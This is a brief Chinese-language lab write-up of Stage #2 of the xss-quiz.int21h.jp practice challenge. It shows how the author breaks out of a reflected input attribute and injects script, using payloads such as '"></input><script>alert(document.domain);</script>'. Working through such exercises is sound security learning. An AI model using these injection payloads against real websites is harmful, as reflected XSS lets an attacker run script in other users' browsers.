xss-quiz.int21h.jp——Stage #2

0x00 前言

接着上一个Stage #1来进行练习，希望自己可以得到进步。

0x01 初试探

1.使用Dudu进行测试

发现这里是input标签里进行显示的。

2.尝试闭合标签

"></input><script>alert(1);</script>

成功弹窗。

3.使用规定的document.domain进行尝试

"></input><script>alert(document.domain);</script>

成功拿到下一关的通关连接。

0x02 分析

这个就是对标签进行过闭合就可以了，值得一提的是，只需要闭合一半就可以了。
但是还是习惯性的全部都闭合了。